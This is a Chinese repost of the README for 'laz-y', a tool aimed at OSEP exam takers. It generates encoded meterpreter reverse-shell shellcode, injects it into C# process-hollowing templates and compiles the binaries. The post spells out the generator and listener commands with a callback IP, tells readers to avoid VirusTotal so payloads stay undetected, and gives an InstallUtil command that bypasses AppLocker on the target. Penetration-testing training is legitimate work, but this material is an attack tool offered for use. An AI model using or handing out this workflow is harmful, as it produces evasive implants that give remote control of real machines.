为OSEP实验室和考试自动生成有效payload
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/Nariod/laz-y
laz-y
为 OSEP 实验室和考试自动生成有效载荷。 该工具生成 x86 和 x64 HTTPS 暂存的 meterpreter shellcode,将它们注入您的 CS 模板,并使用 mcs 从 Linux 生成 C# 二进制文件。 它支持 ROT 编码,很快就会支持 XOR 编码。
但为什么?
在其中一个 OSEP 挑战实验室中,VPN 连接断开,我的本地 IP 发生了变化。 我需要重新编译所有的有效载荷和工具。我没有,我写了一个脚本 :)
它是如何工作的?
这个 repo 提供了一个流程挖空模板作为例子,这个工具的重点是使用你自己的模板。
启动时,python 脚本将在您放入“templates”文件夹中的所有文件中搜索标记,并将标记交换为 MSF 有效负载和解码例程。 然后将修改后的模板文件导出到“输出”文件夹中,并对所有 *.cs 文件运行“mcs”C# 编译器。 你最终得到:
- 您的初始模板,未受影响
- 带有标记的模板替换为 MSF 有效负载和解码例程
- 如果模板是 .cs,则生成的 C# 二进制文件
- 根据 metasploit .rc 文件启动你的监听器
安装
这个脚本只在 Kali 上测试过。 在更新的 Kali 操作系统上执行以下命令以设置环境:
sudo apt update && sudo apt install mono-mcs mono-complete -ygit clone https://github.com/Nariod/laz-y.gitcd laz-ypip3 install -r requirements.txt
用法
- 如果您必须使用https://antiscan.me/ ,请不要将任何内容上传到 VIRUSTOTAL
- 在“模板”文件夹中添加您的 CS 模板
- 在模板中添加标记
!!!_SHELLCODE_MARK!!!,您希望在其中注入 shellcode - 在模板中添加标记
!!!DECODE_ROUTINE!!!,您希望在其中注入解码例程 - 运行脚本
python3 laz-y.py -l CALLBACK_IP -p CALLBACK_PORT -e ENCODING_OPTION - 在“输出”文件夹中检索 metasploit 资源文件 (.rc)
- 开始你的听众
sudo msfconsole -q -r output/https.rc - 检索并使用位于“输出”文件夹中的最终二进制文件
在目标机器上,最终的二进制文件可以通过以下方式执行:
- 直接执行二进制文件,如果不强制执行 Applocker
- 使用 InstallUtil lolbin
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Nariod\Desktop\MY_BINARY.exe绕过 Applocker
在 Kali 上生成二进制文件:

使用 InstallUtil lolbin 在 Windows 目标上执行二进制文件:

享受shell的过程:

研究与开发
出于研究目的,我专门 为与惰性和更现实的操作兼容的 C# 模板 创建了一个存储库。
去做
- [x] shellcode交换的基本标记
- [x] 添加 ROT 编码支持
- [x] mcs编译时强制arch
- [x] 添加msf资源文件
- [ ] 添加 XOR 支持
- [x] 生成msf资源文件
- [x] 检查用户输入的安全性
- [x] InstallUtil lolbin 支持
贡献
模板
- Process Hollowing : https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
法律免责声明
未经双方事先同意,使用此回购协议中提供的任何内容来攻击目标是非法的。 最终用户有责任遵守所有适用的地方、州和联邦法律。 开发人员不承担任何责任,也不对由此程序造成的任何误用或损坏负责。 仅用于教育目的。
标签:工具分享, OSEP